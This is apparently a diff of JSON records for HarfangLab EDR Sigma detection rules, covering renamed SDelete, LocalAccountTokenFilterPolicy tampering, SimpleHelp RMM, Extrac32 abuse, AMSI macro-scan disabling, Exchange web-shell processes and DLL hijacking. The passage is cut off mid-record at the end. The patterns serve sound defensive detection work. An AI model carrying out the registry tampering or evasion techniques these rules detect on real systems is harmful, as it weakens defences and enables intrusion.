+  "references": [
+    "https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx",
+    "https://attack.mitre.org/techniques/T1070/004/",
+    "https://attack.mitre.org/software/S0195/"
+  ],
+  "name": "t1070_004_sdelete_renamed.yml",
+  "content": "title: Renamed SDelete Tool Execution\nid: 9171b532-aeaa-4ef7-a4d3-94ba1796194d\ndescription: |\n    Detects execution of renamed SDelete tool which is an application that securely deletes data in a way that makes it unrecoverable.\n    This tool is part of the Microsoft Sysinternals suite tools and it's often used by attackers to remove files left behind by their malicious activities.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx\n    - https://attack.mitre.org/techniques/T1070/004/\n    - https://attack.mitre.org/software/S0195/\ndate: 2021/06/18\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - attack.s0195\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.SDelete\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - OriginalFileName: 'sdelete.exe'\n        - InternalName: 'SDelete'\n    exclusion:\n        - Image|endswith:\n            - '\\sdelete.exe'\n            - '\\sdelete64.exe'\n    condition: selection and not exclusion\nlevel: medium\n# level: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9171b532-aeaa-4ef7-a4d3-94ba1796194d",
+  "rule_name": "Renamed SDelete Tool Execution",
+  "rule_description": "Detects execution of renamed SDelete tool which is an application that securely deletes data in a way that makes it unrecoverable.\nThis tool is part of the Microsoft Sysinternals suite tools and it's often used by attackers to remove files left behind by their malicious activities.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2021-06-18",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91774714-66bb-4eb8-8298-8472ab14056b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620774Z",
+  "creation_date": "2026-03-23T11:45:34.620777Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620781Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction",
+    "https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_disable_localaccounttokenfilterpolicy.yml",
+  "content": "title: Network UAC Restrictions Disabled\nid: 91774714-66bb-4eb8-8298-8472ab14056b\ndescription: |\n    Detects when the Network UAC is disabled by setting the LocalAccountTokenFilerPolicy registry value to 0 (Disabled).\n    When set, this enables an attacker to connect remotely to the machine (WMI, SCM, SMB, ...) using a privilege local account with full administrators rights.\n    This can be the prelude to an attack using the wmiexec tool.\n    It is recommended to investigate if the process setting the registry value has legitimate reasons to do so.\nreferences:\n    - https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction\n    - https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2020/09/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.lateral_movement\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy'\n        Details|contains: '?WORD' # Any non-zero value works, not just DWORD (0x00000001)\n\n    filter_zero:\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_device_enroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_bladelogic:\n        ProcessImage:\n            - '?:\\Program Files\\BMC Software\\BladeLogic\\RSC\\sbin\\bldeploy.exe'\n            - '?:\\Program Files\\BladeLogic\\RSC\\sbin\\bldeploy.exe'\n\n    exclusion_ninjarmm:\n        - ProcessGrandparentOriginalFileName: 'NinjaRMMAgent'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'NinjaOne LLC'\n        - ProcessAncestors|contains: '|?:\\Program Files (x86)\\\\*\\NinjaRMMAgent.exe|'\n\n    exclusion_omadmclient:\n        ProcessImage: '?:\\Windows\\System32\\omadmclient.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_minint:\n        ProcessParentImage: '?:\\MININT\\Tools\\X64\\TsManager.exe'\n\n    exclusion_puppet:\n        ProcessParentImage: '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n\n    exclusion_ccm:\n        ProcessAncestors|contains: '|?:\\Windows\\CCM\\TSManager.exe|'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91774714-66bb-4eb8-8298-8472ab14056b",
+  "rule_name": "Network UAC Restrictions Disabled",
+  "rule_description": "Detects when the Network UAC is disabled by setting the LocalAccountTokenFilerPolicy registry value to 0 (Disabled).\nWhen set, this enables an attacker to connect remotely to the machine (WMI, SCM, SMB, ...) using a privilege local account with full administrators rights.\nThis can be the prelude to an attack using the wmiexec tool.\nIt is recommended to investigate if the process setting the registry value has legitimate reasons to do so.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91acc287-552c-4012-a196-dbfa1314ba97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603866Z",
+  "creation_date": "2026-03-23T11:45:34.603885Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603893Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_abnormal_simplehelp_execution.yml",
+  "content": "title: Abnormal SimpleHelp RMM Execution\nid: 91acc287-552c-4012-a196-dbfa1314ba97\ndescription: |\n    Detects the execution of SimpleHelp RMM with an unusual process name.\n    SimpleHelp RMM is a Remote Access Tool (RAT) which can be used by attackers to establish an interactive command and control channel to target systems within protected networks.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2025/06/20\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.SimpleHelp\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Description: 'SimpleHelp Remote Access Client'\n\n    filter_legitimate_image_name:\n        ProcessName:\n            - '*Remote Access*'\n            - 'elev_win.exe'\n            - 'session_win.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91acc287-552c-4012-a196-dbfa1314ba97",
+  "rule_name": "Abnormal SimpleHelp RMM Execution",
+  "rule_description": "Detects the execution of SimpleHelp RMM with an unusual process name.\nSimpleHelp RMM is a Remote Access Tool (RAT) which can be used by attackers to establish an interactive command and control channel to target systems within protected networks.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2025-06-20",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91b1fef8-d05f-4b4b-8167-4c78611f980a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071137Z",
+  "creation_date": "2026-03-23T11:45:34.071139Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071144Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/ShadowChasing1/status/1557287930267578368?t=gO0K_WXj3sYgyRls0DLS-A&s=19",
+    "https://lolbas-project.github.io/lolbas/Binaries/Extrac32/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_extrac32.yml",
+  "content": "title: Suspicious Extrac32 Execution\nid: 91b1fef8-d05f-4b4b-8167-4c78611f980a\ndescription: |\n    Detects the execution of the Extrac32.exe Windows binary.\n    Extrac32.exe is a legitimate Microsoft tool used for extracting files from .cab archive files.\n    However, attackers may misuse it to extract malicious payloads from specially crafted cabinet files or execute arbitrary code. This technique can be used for lateral movement, data exfiltration, or persistence within a network.\n    It is recommended to investigate the source of this activity, analyze the command-line arguments to identify any suspicious file paths or contents, and review any other executions in the timeline.\nreferences:\n    - https://twitter.com/ShadowChasing1/status/1557287930267578368?t=gO0K_WXj3sYgyRls0DLS-A&s=19\n    - https://lolbas-project.github.io/lolbas/Binaries/Extrac32/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/08/23\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Extrac32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\extrac32.exe'\n        - OriginalFileName: 'extrac32.exe'\n\n    exclusion_hp:\n        - CommandLine|startswith: '?:\\ProgramData\\HP\\'\n        # C:\\Program Files\\HP\\HP ENVY 4500 series\\Bin\\HP ENVY 4500 series.exe\n        # C:\\Program Files\\HP\\HP DeskJet 3630 series\\Bin\\HP DeskJet 3630 series.exe\n        - GrandparentImage: '?:\\Program Files\\HP\\HP *\\Bin\\HP *.exe'\n\n    exclusion_known_fp:\n        # extrac32.exe /E /A /Y /L C:\\Users\\xxx\\TOSHIBA\\eSMDF\\Fax\\Resource C:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\X64\\3\\ESFMLNG6.CAB\n        # extrac32.exe /E /A /Y /L C:\\Users\\xxx\\TOSHIBA\\eSMDF\\Fax\\Resource C:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\W32X86\\3\\ESFMLNG.CAB\n        # extrac32.exe /E /A /Y /L C:\\Users\\xxx\\TOSHIBA\\eSMDF\\Fax\\CoverSheet C:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\X64\\3\\ESMFPSCS.CAB\n        # C:\\Windows\\System32\\extrac32.exe /Y /E /L C:/ProgramData/HP/HP OfficeJet Pro 7740 series Help/Help/1036 C:/ProgramData/HP/HP OfficeJet Pro 7740 series Help/Help/1036/1036.cab\n\n        CommandLine:\n            - 'extrac32.exe /E /A /Y /L *\\TOSHIBA\\eSMDF\\Fax\\\\* ?:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\\\*\\3\\\\????????.CAB'\n            - 'extrac32.exe /E /A /Y /L *\\TOSHIBA\\eSMDF\\Fax\\\\* ?:\\WINDOWS\\SYSTEM32\\SPOOL\\DRIVERS\\\\*\\3\\\\???????.CAB'\n            - '?:\\Windows\\System32\\extrac32.exe /Y /E /L ?:/ProgramData/HP/HP * ?:/ProgramData/HP/HP *.cab'\n            - '?:\\Windows\\System32\\extrac32.exe /Y /E /L ?:\\ProgramData\\HP\\HP * ?:\\ProgramData\\HP\\HP *.cab'\n\n    exclusion_fujitsu_network_scanner:\n        ParentImage: '?:\\Program Files (x86)\\FUJITSU\\Network Scanner Admin Tool V3\\AdminTool.exe'\n        CommandLine: 'extrac32.exe /E /Y /L *.cab'\n\n    exclusion_msiexec:\n        ParentImage:\n            - '?:\\Windows\\System32\\msiexec.exe'\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n        ParentCommandLine|contains: ' -Embedding '\n\n    exclusion_epson:\n        CommandLine: '?:\\WINDOWS\\system32\\extrac32.exe* ?:\\Users\\\\*\\AppData\\Local\\Temp\\EPSON_Advanced_Printer_Driver_* *?:\\Users\\\\*\\AppData\\Local\\Temp\\EPSON_Advanced_Printer_Driver_*\\\\*.cab'\n\n    exclusion_olympus:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\extrac32.exe /Y /E /L ?:\\ProgramData\\Olympus\\UpdateManager\\Software\\'\n\n    exclusion_lg:\n        - ParentImage:\n            - '?:\\Program Files (x86)\\LG Software\\LG Update\\URAlarm.exe'\n            - '?:\\Program Files (x86)\\LG Software\\LG Update Center\\UCAlarm.exe'\n            - '?:\\Program Files (x86)\\LG Software\\LG Update Center\\LGUpdateCenter.exe'\n        - GrandparentImage:\n            - '?:\\Program Files\\LG Software\\LG Update Center\\UCUpdate.exe'\n            - '?:\\Program Files (x86)\\LG Software\\LG Update Center\\UCUpdate.exe'\n            - '?:\\Program Files (x86)\\LG Software\\LG Update & Recovery\\URUpdate.exe'\n\n    exclusion_integrad:\n        CommandLine:\n            - 'extrac32.exe /y /l ?:\\Program Files (x86)\\Integrad.3\\MIV /e *.cab'\n            - 'extrac32.exe /y /l ?:\\Program Files\\Integrad.3\\MIV /e *.cab'\n\n    exclusion_visual_studio:\n        CommandLine: '?:\\WINDOWS\\system32\\extrac32.exe /c /y ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\xmldso.cab ?:\\WINDOWS\\Java\\Classes\\xmldso.cab'\n        ParentImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\javatrig.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91b1fef8-d05f-4b4b-8167-4c78611f980a",
+  "rule_name": "Suspicious Extrac32 Execution",
+  "rule_description": "Detects the execution of the Extrac32.exe Windows binary.\nExtrac32.exe is a legitimate Microsoft tool used for extracting files from .cab archive files.\nHowever, attackers may misuse it to extract malicious payloads from specially crafted cabinet files or execute arbitrary code. This technique can be used for lateral movement, data exfiltration, or persistence within a network.\nIt is recommended to investigate the source of this activity, analyze the command-line arguments to identify any suspicious file paths or contents, and review any other executions in the timeline.\n",
+  "rule_creation_date": "2022-08-23",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91b2e839-ed45-45d4-8246-36a227383c19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078171Z",
+  "creation_date": "2026-03-23T11:45:34.078173Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078177Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba",
+    "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_macroruntimescanscope_via_registry.yml",
+  "content": "title: Macro Runtime Scan Scope Disabled via Registry\nid: 91b2e839-ed45-45d4-8246-36a227383c19\ndescription: |\n    Detects tampering with the MacroRuntimeScanScope registry value to disable runtime scanning of enabled macros.\n    If the value is set to 0, the AMSI related DLLs will not be loaded in the Office process.\n    It is recommended to check the process that set the registry value for suspicious activities.\nreferences:\n    - https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba\n    - https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/01/15\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.AMSIBypass\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKU\\\\*\\Software\\Microsoft\\Office\\\\*\\Security\\MacroRuntimeScanScope'\n        Details: 'DWORD (0x00000000)'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91b2e839-ed45-45d4-8246-36a227383c19",
+  "rule_name": "Macro Runtime Scan Scope Disabled via Registry",
+  "rule_description": "Detects tampering with the MacroRuntimeScanScope registry value to disable runtime scanning of enabled macros.\nIf the value is set to 0, the AMSI related DLLs will not be loaded in the Office process.\nIt is recommended to check the process that set the registry value for suspicious activities.\n",
+  "rule_creation_date": "2025-01-15",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91b39af5-d022-4539-8d2f-dab920377f0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075611Z",
+  "creation_date": "2026-03-23T11:45:34.075614Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075618Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_webshell_exchange.yml",
+  "content": "title: Suspicious Process Spawned by Microsoft Exchange Web Server\nid: 91b39af5-d022-4539-8d2f-dab920377f0d\ndescription: |\n    Detects a suspicious process being spawned by a Microsoft Exchange Web Server.\n    Attackers may abuse vulnerabilities present in MS Exchange Web Applications to execute malicious code.\n    Is is recommended to analyze this process' command-line to determine its legitimacy in the context of the web application.\nreferences:\n    - https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/02/18\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentCommandLine|contains: 'exchange'\n        ProcessParentName: 'w3wp.exe'\n\n    filter_w3wp:\n        ProcessImage: '?:\\Windows\\System32\\inetsrv\\w3wp.exe'\n\n    filter_wer:\n        ProcessImage:\n            - '?:\\Windows\\system32\\wermgr.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n\n    filter_csc:\n        ProcessImage: '?:\\Windows\\Microsoft.NET\\Framework64\\\\*\\csc.exe'\n\n    filter_builtin_tools:\n        - ProcessImage|endswith: '\\Bin\\OleConverter.exe'\n          ProcessDescription: 'Microsoft Exchange Ole-To-Image converter'\n        - ProcessImage|endswith: '\\Bin\\DocumentViewing\\TranscodingService.exe'\n          ProcessDescription: 'TranscodingService exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "91b39af5-d022-4539-8d2f-dab920377f0d",
+  "rule_name": "Suspicious Process Spawned by Microsoft Exchange Web Server",
+  "rule_description": "Detects a suspicious process being spawned by a Microsoft Exchange Web Server.\nAttackers may abuse vulnerabilities present in MS Exchange Web Applications to execute malicious code.\nIs is recommended to analyze this process' command-line to determine its legitimacy in the context of the web application.\n",
+  "rule_creation_date": "2025-02-18",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "91b43324-d77f-4b23-a3e1-57b8552ab213",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600577Z",
+  "creation_date": "2026-03-23T11:45:34.600580Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600588Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dialer.yml",
+  "content": "title: DLL Hijacking via dialer.exe\nid: 91b43324-d77f-4b23-a3e1-57b8552ab213\ndescription: |\n    Detects potential Windows DLL Hijacking via dialer.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - 